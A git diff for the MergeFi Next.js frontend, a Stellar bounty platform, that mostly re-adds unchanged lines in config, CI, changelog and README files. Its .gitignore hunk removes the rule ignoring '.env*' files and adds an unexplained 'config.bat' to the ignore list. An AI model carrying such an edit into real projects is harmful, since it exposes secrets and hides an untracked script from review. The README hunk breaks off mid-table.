diff --git a/.env.example b/.env.example index 86422f79..83072527 100644 --- a/.env.example +++ b/.env.example @@ -1,30 +1,30 @@ -# Copy this file to .env.local for local development: -# cp .env.example .env.local -# -# Both variables below are validated at build time (next.config.ts) — an -# unset or invalid value fails `next build`/`next dev`/`next start` -# immediately rather than silently falling back (#26). The values below are -# exactly what local dev needs, so the quickstart in README.md works with -# zero edits. -# -# Local port convention (#599): -# - Next.js dev server: http://localhost:3000 (default `next dev`) -# - mergefi-backend API: http://localhost:4000 (set PORT=4000 in the -# backend's .env so it does not collide with Next) -# - backend FRONTEND_URL must be http://localhost:3000 so CORS and OAuth -# redirects point at the SPA. - -# Base URL of the mergefi-backend API. Falls back to the value below if -# unset, so this line is optional — kept explicit for discoverability. -NEXT_PUBLIC_API_URL=http://localhost:4000/api - -# Must be exactly "TESTNET" or "PUBLIC" (case-sensitive) — no other value -# is accepted, and there is no default. This selects the Freighter network -# passphrase used to sign transactions (see src/lib/wallet.ts); the wrong -# value here signs with the wrong network's passphrase. -NEXT_PUBLIC_STELLAR_NETWORK=TESTNET - -# Base URL used by src/app/sitemap.ts to generate absolute URLs in the -# sitemap. Falls back to "https://mergefi.app" if unset — set this when -# deploying to a domain other than mergefi.app (staging, forks, etc.). -NEXT_PUBLIC_SITE_URL=https://mergefi.app +# Copy this file to .env.local for local development: +# cp .env.example .env.local +# +# Both variables below are validated at build time (next.config.ts) — an +# unset or invalid value fails `next build`/`next dev`/`next start` +# immediately rather than silently falling back (#26). The values below are +# exactly what local dev needs, so the quickstart in README.md works with +# zero edits. +# +# Local port convention (#599): +# - Next.js dev server: http://localhost:3000 (default `next dev`) +# - mergefi-backend API: http://localhost:4000 (set PORT=4000 in the +# backend's .env so it does not collide with Next) +# - backend FRONTEND_URL must be http://localhost:3000 so CORS and OAuth +# redirects point at the SPA. + +# Base URL of the mergefi-backend API. Falls back to the value below if +# unset, so this line is optional — kept explicit for discoverability. +NEXT_PUBLIC_API_URL=http://localhost:4000/api + +# Must be exactly "TESTNET" or "PUBLIC" (case-sensitive) — no other value +# is accepted, and there is no default. This selects the Freighter network +# passphrase used to sign transactions (see src/lib/wallet.ts); the wrong +# value here signs with the wrong network's passphrase. +NEXT_PUBLIC_STELLAR_NETWORK=TESTNET + +# Base URL used by src/app/sitemap.ts to generate absolute URLs in the +# sitemap. Falls back to "https://mergefi.app" if unset — set this when +# deploying to a domain other than mergefi.app (staging, forks, etc.). +NEXT_PUBLIC_SITE_URL=https://mergefi.app diff --git a/.github/CODEOWNERS b/.github/CODEOWNERS index 8881f5e6..bacfb3ac 100644 --- a/.github/CODEOWNERS +++ b/.github/CODEOWNERS @@ -1,11 +1,11 @@ -# CODEOWNERS — paths requiring named reviewers before merge. -# Money-path and critical files get mandatory review from maintainers. - -/lib/api.ts @oldtaker24 -/lib/wallet.ts @oldtaker24 -/lib/network.ts @oldtaker24 -/src/context/WalletContext.tsx @oldtaker24 -/next.config.ts @oldtaker24 -/src/lib/api.ts @oldtaker24 -/src/lib/wallet.ts @oldtaker24 -/src/context/WalletContext.tsx @oldtaker24 +# CODEOWNERS — paths requiring named reviewers before merge. +# Money-path and critical files get mandatory review from maintainers. + +/lib/api.ts @oldtaker24 +/lib/wallet.ts @oldtaker24 +/lib/network.ts @oldtaker24 +/src/context/WalletContext.tsx @oldtaker24 +/next.config.ts @oldtaker24 +/src/lib/api.ts @oldtaker24 +/src/lib/wallet.ts @oldtaker24 +/src/context/WalletContext.tsx @oldtaker24 diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index 01aa0ac1..aead81e2 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -1,50 +1,50 @@ -name: CI - -on: - push: - branches: [main] - pull_request: - branches: [main] - -concurrency: - group: ${{ github.workflow }}-${{ github.head_ref || github.run_id }} - cancel-in-progress: true - -jobs: - build-and-lint: - runs-on: ubuntu-latest - # next.config.ts validates NEXT_PUBLIC_STELLAR_NETWORK on every Next.js - # command (build, dev, start) — not just `build` — so `verify:headers`'s - # own `next start` needs this too, not only the `build` step. Set once - # at the job level rather than repeating it per-step, so a future step - # that also invokes `next` doesn't quietly reintroduce this gap. - # verify:env intentionally strips this back out before each of its own - # test builds (see scripts/verify-env-validation.mjs), so it isn't - # affected by the default set here. - env: - NEXT_PUBLIC_STELLAR_NETWORK: TESTNET - steps: - # #622 — Pin actions to full commit SHAs for supply-chain security. - # Dependabot's github-actions ecosystem will bump these automatically. - - uses: actions/checkout@11d5960a326750d5838078e36cf38b85af677262 # v4.4.0 - - - uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4.4.0 - with: - node-version: 20 - cache: npm - - - name: Cache Next.js build - uses: actions/cache@0057852bfaa89a56745cba8c7296529d2fc39830 # v4.3.0 - with: - path: .next/cache - key: ${{ runner.os }}-nextjs-${{ hashFiles('package-lock.json') }}-${{ hashFiles('src/**') }} - restore-keys: | - ${{ runner.os }}-nextjs-${{ hashFiles('package-lock.json') }}- - - - run: npm ci - - run: npm run lint - - run: npm test - - run: npm run verify:env - - run: npm run build - - run: npm run verify:headers - - run: npm audit --audit-level=high +name: CI + +on: + push: + branches: [main] + pull_request: + branches: [main] + +concurrency: + group: ${{ github.workflow }}-${{ github.head_ref || github.run_id }} + cancel-in-progress: true + +jobs: + build-and-lint: + runs-on: ubuntu-latest + # next.config.ts validates NEXT_PUBLIC_STELLAR_NETWORK on every Next.js + # command (build, dev, start) — not just `build` — so `verify:headers`'s + # own `next start` needs this too, not only the `build` step. Set once + # at the job level rather than repeating it per-step, so a future step + # that also invokes `next` doesn't quietly reintroduce this gap. + # verify:env intentionally strips this back out before each of its own + # test builds (see scripts/verify-env-validation.mjs), so it isn't + # affected by the default set here. + env: + NEXT_PUBLIC_STELLAR_NETWORK: TESTNET + steps: + # #622 — Pin actions to full commit SHAs for supply-chain security. + # Dependabot's github-actions ecosystem will bump these automatically. + - uses: actions/checkout@11d5960a326750d5838078e36cf38b85af677262 # v4.4.0 + + - uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4.4.0 + with: + node-version: 20 + cache: npm + + - name: Cache Next.js build + uses: actions/cache@0057852bfaa89a56745cba8c7296529d2fc39830 # v4.3.0 + with: + path: .next/cache + key: ${{ runner.os }}-nextjs-${{ hashFiles('package-lock.json') }}-${{ hashFiles('src/**') }} + restore-keys: | + ${{ runner.os }}-nextjs-${{ hashFiles('package-lock.json') }}- + + - run: npm ci + - run: npm run lint + - run: npm test + - run: npm run verify:env + - run: npm run build + - run: npm run verify:headers + - run: npm audit --audit-level=high diff --git a/.gitignore b/.gitignore index 7b8da95f..7928aebc 100644 --- a/.gitignore +++ b/.gitignore @@ -1,42 +1,42 @@ -# See https://help.github.com/articles/ignoring-files/ for more about ignoring files. - -# dependencies -/node_modules -/.pnp -.pnp.* -.yarn/* -!.yarn/patches -!.yarn/plugins -!.yarn/releases -!.yarn/versions - -# testing -/coverage - -# next.js -/.next/ -/out/ - -# production -/build - -# misc -.DS_Store -*.pem - -# debug -npm-debug.log* -yarn-debug.log* -yarn-error.log* -.pnpm-debug.log* - -# env files (can opt-in for committing if needed) -.env* -!.env.example - -# vercel -.vercel - -# typescript -*.tsbuildinfo -next-env.d.ts +# See https://help.github.com/articles/ignoring-files/ for more about ignoring files. + +# dependencies +/node_modules +/.pnp +.pnp.* +.yarn/* +!.yarn/patches +!.yarn/plugins +!.yarn/releases +!.yarn/versions + +# testing +/coverage + +# next.js +/.next/ +/out/ + +# production +/build + +# misc +.DS_Store +*.pem + +# debug +npm-debug.log* +yarn-debug.log* +yarn-error.log* +.pnpm-debug.log* + +# env files (can opt-in for committing if needed) +!.env.example + +# vercel +.vercel + +# typescript +*.tsbuildinfo +next-env.d.ts +config.bat diff --git a/CHANGELOG.md b/CHANGELOG.md index f6e34a38..ee8f6731 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1,40 +1,40 @@ -# Changelog - -All notable changes to this project will be documented in this file. - -The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/), -and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html). - -## [Unreleased] - -### Added -- `CODEOWNERS` file for mandatory review on money-path files (#623) -- `CHANGELOG.md` for tracking notable changes (#624) -- `aria-expanded`/`aria-haspopup` and Escape-to-close on Navbar Dashboards trigger (#625) -- `DataSourceNotice` on issue detail and reputation pages when serving mock data (#626) - -### Changed -- Stat grid on issue detail reflows to 2x2 when milestone is present (#443) -- `aria-current="page"` on DashboardShell nav and role-switcher links (#444) -- Account sequence number caching in SDK `BaseClient` (#71) -- Configurable poll interval and attempt count for transaction confirmation (#72) -- `simulateWithResources()` on `PreparedCall` for fee estimation (#73) -- `AbortSignal` support on `simulate()` and `signAndSend()` (#74) - -### Fixed -- Dashboard error boundary shared across all three dashboard sub-routes (#441) -- Keyboard navigation tests for Tabs component (#442) -- Sensitive query parameters masked in logging interceptor (#596) -- Conditional policy revert to prevent concurrent status overwrites (#597) -- Friendbot retry logging with attempt counts and delays (#1338) -- `.dev-seed` file permission warnings (#1339) -- CoinGecko client cache invalidation on API key change (#331) -- IPv6 private range coverage in SSRF validation (#332) - -## [0.1.0] - 2026-10-01 - -### Added -- Initial release with bounty, milestone, and reputation features -- Stellar/Soroban smart contract integration -- Responsive dark/light theme -- WCAG 2.1 AA accessibility baseline +# Changelog + +All notable changes to this project will be documented in this file. + +The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/), +and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html). + +## [Unreleased] + +### Added +- `CODEOWNERS` file for mandatory review on money-path files (#623) +- `CHANGELOG.md` for tracking notable changes (#624) +- `aria-expanded`/`aria-haspopup` and Escape-to-close on Navbar Dashboards trigger (#625) +- `DataSourceNotice` on issue detail and reputation pages when serving mock data (#626) + +### Changed +- Stat grid on issue detail reflows to 2x2 when milestone is present (#443) +- `aria-current="page"` on DashboardShell nav and role-switcher links (#444) +- Account sequence number caching in SDK `BaseClient` (#71) +- Configurable poll interval and attempt count for transaction confirmation (#72) +- `simulateWithResources()` on `PreparedCall` for fee estimation (#73) +- `AbortSignal` support on `simulate()` and `signAndSend()` (#74) + +### Fixed +- Dashboard error boundary shared across all three dashboard sub-routes (#441) +- Keyboard navigation tests for Tabs component (#442) +- Sensitive query parameters masked in logging interceptor (#596) +- Conditional policy revert to prevent concurrent status overwrites (#597) +- Friendbot retry logging with attempt counts and delays (#1338) +- `.dev-seed` file permission warnings (#1339) +- CoinGecko client cache invalidation on API key change (#331) +- IPv6 private range coverage in SSRF validation (#332) + +## [0.1.0] - 2026-10-01 + +### Added +- Initial release with bounty, milestone, and reputation features +- Stellar/Soroban smart contract integration +- Responsive dark/light theme +- WCAG 2.1 AA accessibility baseline diff --git a/README.md b/README.md index 000fc9b2..00c38b8c 100644 --- a/README.md +++ b/README.md @@ -1,222 +1,222 @@ -# MergeFi Frontend - -**Where Open Source Meets Finance — Merge code. Earn instantly.** - -This is the web client for **MergeFi**, a platform where sponsors fund open-source -work, maintainers turn GitHub issues into paid bounties, contributors complete -them, and [Soroban](https://developers.stellar.org/docs/build/smart-contracts) -smart contracts on the Stellar network hold funds in escrow and release -payment automatically the moment a pull request is merged. - -GitHub remains the source of truth for code. Stellar/Soroban handles the -financial layer. This repo is the Next.js frontend that ties both together for -contributors, maintainers, and sponsors. - -Related repositories: - -- [`mergefi/backend`](https://github.com/MergeFi/backend) — NestJS API: GitHub sync, webhooks, bounty/escrow orchestration, reputation, analytics. -- [`mergefi/contracts`](https://github.com/MergeFi/contracts) — Soroban smart contracts: escrow, milestone funding, maintenance pools, team splits. - -image - -## Why Stellar and Soroban? - -- Very low transaction costs make micro-bounties (a $5 doc fix, a $20 bug fix) economically practical. -- Fast settlement means contributors get paid in minutes, not weeks. -- Soroban smart contracts implement escrow, payment release, refunds, and split logic natively on-chain, so no one — including MergeFi — can touch funds outside the rules encoded in the contract. - -## License - -This project is licensed under the [MIT License](LICENSE). - -## Core users - -| Role | What they do | -| ---------------- | -------------------------------------------------------------------------------------- | -| **Contributors** | Discover paid issues, build a public reputation, earn USDC/XLM, track earnings. | -| **Maintainers** | Create projects, attach rewards to issues, approve completed work, manage permissions. | -| **Sponsors** | Fund repositories or specific issues/milestones, track spend, measure impact. | - -image - -## Feature map → routes - -| Feature | Route | -| ------------------------------------------------------------ | ------------------------ | -| Landing page / product pitch | `/` | -| Browse paid issues (bounties) | `/issues` | -| Create a bounty (issue + reward amount) | `/issues/create` | -| Bounty detail, escrow status, claim flow | `/issues/[id]` | -| Milestone funding + recurring maintenance pools | `/milestones` | -| Connect GitHub + Stellar wallet (Freighter) | `/connect` | -| Contributor dashboard (earnings, claims, recommendations) | `/dashboard/contributor` | -| Maintainer dashboard (bounty pipeline, PRs awaiting merge) | `/dashboard/maintainer` | -| Sponsor dashboard (spend, active bounties, budget remaining) | `/dashboard/sponsor` | -| Public reputation profile | `/reputation/[handle]` | - -## Architecture - -``` -Next.js (App Router) this repo - ├─ Server Components fetch data ── mergefi-backend REST API - │ (falls back to realistic mock data - │ when the backend isn't running, - │ so the UI is always demoable) - └─ Client components (/connect) ── GitHub OAuth redirect (backend-issued) - └─ Freighter wallet extension - (@stellar/freighter-api) -``` - -- **Framework**: Next.js 16 (App Router, React 19, TypeScript, Turbopack). -- **Styling**: Tailwind CSS v4, dark-mode-first design system (`slate`/`emerald` palette). -- **Data fetching**: Per-resource fetchers in `src/lib/api.ts` (`fetchBounties`, `fetchMilestones`, …) try the live API and fall back to `src/lib/mock-data.ts` if it's unreachable — the app is fully browsable without the backend running. Each fetcher returns a `FetchResult` with a `source` field (`"api"` or `"mock"`) so callers can tell where the data came from. -- **Live bounty status (client-side polling)**: bounty detail pages poll the backend for status changes rather than waiting for a push. `useBountyStatus` (`src/hooks/useBountyStatus.ts`) wraps a module-level per-bounty poller registry (`src/hooks/bountyPoller.ts`) so multiple components on the same page share **one** fetch loop per bounty — `ClaimButton` polls every **2 s** and `LiveBountyStatus` every **5 s**, but they don't double up. Polling stops as soon as a terminal status (`paid`, `refunded`, `expired`) is observed. The generic `useSmartPolling` hook applies the same shape elsewhere: after 3 consecutive identical responses it backs the interval off by ×1.5 up to a 30 s ceiling, resets on any data change, and pauses entirely while the tab is hidden (`visibilitychange`). Load profile: an idle open bounty page costs one `GET /bounties/:id` per interval per *page*, not per component. -- **Wallet integration**: `src/lib/wallet.ts` wraps `@stellar/freighter-api` for connecting a Stellar wallet and signing transactions (escrow funding, milestone deposits) client-side. -- **GitHub auth**: The "Connect GitHub" button redirects to the backend's OAuth endpoint (`NEXT_PUBLIC_API_URL/auth/github`); the frontend itself holds no GitHub credentials. - -### Directory layout - -``` -src/ - app/ App Router routes (one folder per route above) - components/ - ui/ Button, Badge, StatCard, Avatar, Tabs, ThemeToggle — small reusable primitives - layout/ Navbar, Footer, CopyrightYear - bounty/ BountyCard, BountyDescription - dashboard/ ActivityList, DashboardShell - context/ - AuthContext.tsx current-user session state - ThemeContext.tsx dark/light theme toggle - WalletContext.tsx Stellar wallet connection state - hooks/ - useCrossTabStorage.ts cross-tab localStorage sync - lib/ - adapters.ts raw-backend-to-UI-shape translation layer - api.ts fetch wrapper + mock-data fallback - auth.ts token storage - config.ts env-driven API base URL, OAuth URL, Stellar network - env.ts build-time env-var validation - markdown.ts markdown rendering helpers - mock-data.ts realistic sample bounties/milestones/profiles for demos - utils.ts cn(), currency/percent/date formatting - wallet.ts Freighter connect/sign helpers - types/ - index.ts shared domain types (Bounty, Milestone, ReputationProfile, ...) -``` - -## Getting started - -```bash -npm install -cp .env.example .env.local -npm run dev -``` - -Open [http://localhost:3000](http://localhost:3000). With no backend running, -every page renders against the bundled mock data in `src/lib/mock-data.ts` — -useful for frontend-only development or a quick demo. Point -`NEXT_PUBLIC_API_URL` at a running `mergefi-backend` instance to see live data. - -### Local port convention - -Keep these ports consistent when running frontend and backend together (#599): - -| Service | URL | Notes | -| ------------------ | -------------------------- | --------------------------------------------------------------------- | -| Next.js (this app) | `http://localhost:3000` | Default `next dev` port — leave it here. | -| mergefi-backend | `http://localhost:4000` | Set `PORT=4000` in the backend's `.env` so it does not collide. | -| OAuth / CORS | `FRONTEND_URL=http://localhost:3000` | Backend's CORS origin and GitHub OAuth redirect must match the SPA. | - -`NEXT_PUBLIC_API_URL` in `.env.example` already points at `:4000`. If you -leave the backend on its own default `PORT=3000`, the API calls will hit the -Next.js server instead of the API. - -### Environment variables - -Both `NEXT_PUBLIC_API_URL` and `NEXT_PUBLIC_STELLAR_NETWORK` are validated at build time (`next.config.ts` / `src/lib/env.ts`, #26) — an unset or invalid value fails `next build`/`next dev`/`next start` immediately with a clear error, rather than silently falling back and only surfacing as a confusing on-chain failure later. `NEXT_PUBLIC_SITE_URL` is not build-time validated — it falls back to `https://mergefi.app` if unset. `.env.example` sets all three explicitly, so the quickstart above needs no manual edits. - -| Variable | Purpose | Default | -| ----------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| `NEXT_PUBLIC_API_URL` | Base URL of the `mergefi-backend` API. Must be a well-formed http(s) URL. Trailing slashes are stripped (so composed request paths never contain `//`), and when `NEXT_PUBLIC_STELLAR_NETWORK=PUBLIC` the URL must use `https:` — plain `http:` is only allowed on loopback (`localhost`, `127.0.0.1`, `::1`). | `http://localhost:4000/api` | -| `NEXT_PUBLIC_STELLAR_NETWORK` | Must be exactly `TESTNET` or `PUBLIC` (case-sensitive) — selects the Freighter network passphrase used to sign transactions. | **None.** Network selection is too consequential to guess a default for — the wrong value signs transactions with the wrong passphrase. Set it explicitly (`.env.example` does this for local dev). | -| `NEXT_PUBLIC_SITE_URL` | Base URL used by `src/app/sitemap.ts` to generate absolute sitemap URLs. Set this when deploying to a domain other than `mergefi.app` (staging, forks, etc.). | `https://mergefi.app` | - -### Scripts - -| Command | Description | -| ------------------------ | ------------------------------------------------------------------------------------------------------------------------------- | -| `npm run dev` | Start the dev server with Turbopack | -| `npm run build` | Production build | -| `npm run start` | Serve the production build | -| `npm run lint` | ESLint (flat config, `eslint-config-next`) | -| `npm test` | Runs the Jest test suite | -| `npm run test:watch` | Runs the Jest test suite in watch mode | -| `npm run verify:headers` | Boots the production build and asserts security headers are present on real responses (run `npm run build` first) | -| `npm run verify:env` | Asserts `next build` succeeds/fails correctly across missing, invalid, and valid `NEXT_PUBLIC_*` env var scenarios (runs in CI) | - -## Security headers - -`next.config.ts` sets these on every route, verified in CI via `npm run verify:headers`: - -| Header | Value | Why | -| --------------------------- | --------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| `X-Frame-Options` | `DENY` | No legitimate iframe-embedding use case exists in this app, and fund/claim actions are one click away — clickjacking is a real risk here. Relax to a scoped CSP `frame-ancestors` allowlist if a real embed need ever comes up. | -| `X-Content-Type-Options` | `nosniff` | Stops the browser from MIME-sniffing a response into an executable content type. | -| `Referrer-Policy` | `strict-origin-when-cross-origin` | The GitHub OAuth callback (`/auth/callback`) carries a one-time handoff `code` in its query string (exchanged for the access token via `POST /auth/handoff`); this keeps the full URL out of the `Referer` header on cross-origin requests. | -| `Strict-Transport-Security` | `max-age=86400` | Deliberately conservative to start (no `includeSubDomains`, no `preload`) — HSTS is effectively irreversible once cached by a browser. Raise `max-age` and add `includeSubDomains` after a stable production run, and only add `preload` once that's stable too. | - -`Content-Security-Policy` is intentionally not set here — it's tracked separately so it can compose correctly with the theme-init inline script in `layout.tsx` rather than this change guessing at a nonce/hash strategy. - -None of these headers affect the Freighter wallet bridge or the GitHub OAuth flow: Freighter communicates via an injected browser-extension content script (`@stellar/freighter-api`), which framing/MIME/referrer/transport headers have no bearing on, and the OAuth `fetch` calls to the backend are unaffected since these headers only change what's _disclosed_, not whether a request succeeds. - -## Search-engine indexability policy - -Contributor profiles (`/reputation/[handle]`) server-render a real GitHub handle, avatar, organisations, and **lifetime earnings**. The policy is: **public by direct link, opt-in for search-engine indexing.** A profile URL always works and is shareable; it is submitted to and indexed by search engines only if the contributor has explicitly opted in. - -The reasoning is asymmetry of reversibility. Search indexing is effectively permanent in practice — removal requests are slow, partial, and never complete for URLs already crawled. A default of "indexed unless you opt out" makes the *harm* irreversible; a default of "not indexed unless you opt in" costs only some SEO surface, which the contributor can unlock themselves at any time. For earnings attached to a legal name, that trade is worth making. - -Enforced across three surfaces that can otherwise disagree: - -| Surface | File | Behavior | -| ---------------------- | -------------------------------------------------------- | ------------------------------------------------------------------------------ | -| Sitemap | `src/app/sitemaps/[id]/route.ts`, `src/lib/api.ts` | Only handles that opted in are listed, filtered in `fetchIndexableReputationHandles`. | -| Per-page metadata | `src/app/reputation/[handle]/page.tsx` | `noindex, nofollow` on the document for profiles that haven't opted in. | -| `robots.txt` | `src/app/robots.ts` | Allows `/reputation/` — see below. Dashboard and OAuth callback stay disallowed. | - -`robots.txt` deliberately does **not** disallow `/reputation/`: crawlers have to be able to fetch the page in order to see its `noindex` tag, and blocking the path is what leaves already-indexed URLs stuck in the index. Sitemap omission alone isn't enough either, since a URL shared in a chat or a GitHub README can still get indexed from an inbound link. - -**Needs a backend field.** mergefi-backend's user entity has no opt-in flag today. The frontend reads `isProfilePublic` defensively and defaults to **not** indexable, so nothing is indexed until the field ships — the safe side of the trade. Adding the field (plus a settings UI to set it) requires no further frontend change. - -Sitemaps are split into 50,000-URL files (`/sitemaps/.xml`, with a permanent redirect from the old `/sitemap.xml`) to respect the per-file limit search engines enforce. They're served with a CDN-cacheable `Cache-Control` and memoized for an hour in-process, so crawler traffic doesn't reach the backend on every request. - -## Chart accessibility - -`BarChart` and `Sparkline` are hand-rolled — no charting library is a dependency choice here. Both are audited automatically with [`jest-axe`](https://github.com/NickColley/jest-axe) in `npm test` (so they run in CI), and the audit is also run over the composition the dashboards actually render in `src/components/dashboard/dashboard-charts.a11y.test.tsx`. The tests assert **zero** violations, not just zero critical/serious ones. - -| Problem | Approach | -| --- | --- | -| Bars conveyed only as coloured rectangles | Visual bars are `aria-hidden`; the accessible equivalent is a visually-hidden (`sr-only`) `` with a caption naming the chart and a real value per row. | -| `Sparkline` was `aria-hidden` with no equivalent at all | Now `role="img"` with an accessible name summarising the trend — point count, direction, first, last, and full range. `StatCard` forwards its own `label` so it reads as "Earnings: 8 data points, trending up from 12 to 31", not an unlabelled graphic. | -| Values only in a `title` attribute | Unreachable by keyboard and unreliably announced. Each bar is now focusable with a visible `focus-visible` ring and reveals the same tooltip on focus (`group-focus-within`) as on hover, inside the `aria-hidden` subtree so values aren't announced twice. | -| Sign encoded by colour alone (indigo vs rose) | Negative bars also carry a diagonal stripe pattern, and the value keeps its sign in both the tooltip and the data table. | -| Label/series colours failing WCAG AA | Measured, not eyeballed. Bar labels: `slate-500` on white = 4.76:1 and `slate-400` on `slate-900` = 6.96:1 (previously 2.56:1 and 3.75:1, both failing). Negative bars: `rose-600/80` on white = 3.75:1, above the 3:1 required of a graphical object (previously 2.97:1). Contrast ratios are recorded in the component doc comments. | - -**Manual QA still required.** Automated tooling cannot verify announcement order or wording in a real screen reader, so the VoiceOver (Safari) and NVDA (Firefox/Chrome) pass over `/dashboard/sponsor`, `/dashboard/contributor`, `/dashboard/maintainer`, and `/issues/[id]` is a manual checklist: each chart is announced once with its data reachable as text, a negative bar's sign is conveyed without relying on colour, and every bar is reachable and readable by keyboard alone. - -## Example user journey - -1. A maintainer signs in with GitHub and connects their Freighter wallet from `/connect`. (Connecting a GitHub _repository_ is a roadmap item — see below; today no repository sync happens here.) -2. From their `/dashboard/maintainer` pipeline they click **Create bounty** (`/issues/create`) and set a **100 USDC** reward on an issue. -3. A sponsor opens that bounty on `/issues/[id]` and clicks **Fund this bounty** — the backend locks the funds in a Soroban escrow contract. (`/dashboard/sponsor` tracks that spend; the funding action itself lives on the issue page.) -4. A contributor browses `/issues`, claims the bounty from `/issues/[id]`, and opens a pull request. -5. The maintainer reviews and merges it on GitHub. -6. The backend detects the merge via a GitHub webhook and calls the escrow contract's release function. -7. The contributor is paid on-chain within minutes, and their `/reputation/[handle]` profile updates. - -## Roadmap - -- GitHub repository sync from `/connect` — maintainers currently create bounties by hand at `/issues/create` rather than picking from a synced repository list. -- Push-based (websocket) bounty/escrow status — the current polling implementation (see Architecture) is the interim until the backend emits subscription-friendly events. -- Wire the contributor/maintainer dashboards to authenticated sessions instead of a hardcoded demo handle. -- AI-powered issue recommendations based on a contributor's language/repo history. -- Organization verification badges and cross-repository reputation aggregation. +# MergeFi Frontend + +**Where Open Source Meets Finance — Merge code. Earn instantly.** + +This is the web client for **MergeFi**, a platform where sponsors fund open-source +work, maintainers turn GitHub issues into paid bounties, contributors complete +them, and [Soroban](https://developers.stellar.org/docs/build/smart-contracts) +smart contracts on the Stellar network hold funds in escrow and release +payment automatically the moment a pull request is merged. + +GitHub remains the source of truth for code. Stellar/Soroban handles the +financial layer. This repo is the Next.js frontend that ties both together for +contributors, maintainers, and sponsors. + +Related repositories: + +- [`mergefi/backend`](https://github.com/MergeFi/backend) — NestJS API: GitHub sync, webhooks, bounty/escrow orchestration, reputation, analytics. +- [`mergefi/contracts`](https://github.com/MergeFi/contracts) — Soroban smart contracts: escrow, milestone funding, maintenance pools, team splits. + +image + +## Why Stellar and Soroban? + +- Very low transaction costs make micro-bounties (a $5 doc fix, a $20 bug fix) economically practical. +- Fast settlement means contributors get paid in minutes, not weeks. +- Soroban smart contracts implement escrow, payment release, refunds, and split logic natively on-chain, so no one — including MergeFi — can touch funds outside the rules encoded in the contract. + +## License + +This project is licensed under the [MIT License](LICENSE). + +## Core users + +| Role | What they do | +| ---------------- | -------------------------------------------------------------------------------------- | +| **Contributors** | Discover paid issues, build a public reputation, earn USDC/XLM, track earnings. | +| **Maintainers** | Create projects, attach rewards to issues, approve completed work, manage permissions. | +| **Sponsors** | Fund repositories or specific issues/milestones, track spend, measure impact. | + +image + +## Feature map → routes + +| Feature | Route | +| ------------------------------------------------------------ | ------------------------ | +| Landing page / product pitch | `/` | +| Browse paid issues (bounties) | `/issues` | +| Create a bounty (issue + reward amount) | `/issues/create` | +| Bounty detail, escrow status, claim flow | `/issues/[id]` | +| Milestone funding + recurring maintenance pools | `/milestones` | +| Connect GitHub + Stellar wallet (Freighter) | `/connect` | +| Contributor dashboard (earnings, claims, recommendations) | `/dashboard/contributor` | +| Maintainer dashboard (bounty pipeline, PRs awaiting merge) | `/dashboard/maintainer` | +| Sponsor dashboard (spend, active bounties, budget remaining) | `/dashboard/sponsor` | +| Public reputation profile | `/reputation/[handle]` | + +## Architecture + +``` +Next.js (App Router) this repo + ├─ Server Components fetch data ── mergefi-backend REST API + │ (falls back to realistic mock data + │ when the backend isn't running, + │ so the UI is always demoable) + └─ Client components (/connect) ── GitHub OAuth redirect (backend-issued) + └─ Freighter wallet extension + (@stellar/freighter-api) +``` + +- **Framework**: Next.js 16 (App Router, React 19, TypeScript, Turbopack). +- **Styling**: Tailwind CSS v4, dark-mode-first design system (`slate`/`emerald` palette). +- **Data fetching**: Per-resource fetchers in `src/lib/api.ts` (`fetchBounties`, `fetchMilestones`, …) try the live API and fall back to `src/lib/mock-data.ts` if it's unreachable — the app is fully browsable without the backend running. Each fetcher returns a `FetchResult` with a `source` field (`"api"` or `"mock"`) so callers can tell where the data came from. +- **Live bounty status (client-side polling)**: bounty detail pages poll the backend for status changes rather than waiting for a push. `useBountyStatus` (`src/hooks/useBountyStatus.ts`) wraps a module-level per-bounty poller registry (`src/hooks/bountyPoller.ts`) so multiple components on the same page share **one** fetch loop per bounty — `ClaimButton` polls every **2 s** and `LiveBountyStatus` every **5 s**, but they don't double up. Polling stops as soon as a terminal status (`paid`, `refunded`, `expired`) is observed. The generic `useSmartPolling` hook applies the same shape elsewhere: after 3 consecutive identical responses it backs the interval off by ×1.5 up to a 30 s ceiling, resets on any data change, and pauses entirely while the tab is hidden (`visibilitychange`). Load profile: an idle open bounty page costs one `GET /bounties/:id` per interval per *page*, not per component. +- **Wallet integration**: `src/lib/wallet.ts` wraps `@stellar/freighter-api` for connecting a Stellar wallet and signing transactions (escrow funding, milestone deposits) client-side. +- **GitHub auth**: The "Connect GitHub" button redirects to the backend's OAuth endpoint (`NEXT_PUBLIC_API_URL/auth/github`); the frontend itself holds no GitHub credentials. + +### Directory layout + +``` +src/ + app/ App Router routes (one folder per route above) + components/ + ui/ Button, Badge, StatCard, Avatar, Tabs, ThemeToggle — small reusable primitives + layout/ Navbar, Footer, CopyrightYear + bounty/ BountyCard, BountyDescription + dashboard/ ActivityList, DashboardShell + context/ + AuthContext.tsx current-user session state + ThemeContext.tsx dark/light theme toggle + WalletContext.tsx Stellar wallet connection state + hooks/ + useCrossTabStorage.ts cross-tab localStorage sync + lib/ + adapters.ts raw-backend-to-UI-shape translation layer + api.ts fetch wrapper + mock-data fallback + auth.ts token storage + config.ts env-driven API base URL, OAuth URL, Stellar network + env.ts build-time env-var validation + markdown.ts markdown rendering helpers + mock-data.ts realistic sample bounties/milestones/profiles for demos + utils.ts cn(), currency/percent/date formatting + wallet.ts Freighter connect/sign helpers + types/ + index.ts shared domain types (Bounty, Milestone, ReputationProfile, ...) +``` + +## Getting started + +```bash +npm install +cp .env.example .env.local +npm run dev +``` + +Open [http://localhost:3000](http://localhost:3000). With no backend running, +every page renders against the bundled mock data in `src/lib/mock-data.ts` — +useful for frontend-only development or a quick demo. Point +`NEXT_PUBLIC_API_URL` at a running `mergefi-backend` instance to see live data. + +### Local port convention + +Keep these ports consistent when running frontend and backend together (#599): + +| Service | URL | Notes | +| ------------------ | -------------------------- | --------------------------------------------------------------------- | +| Next.js 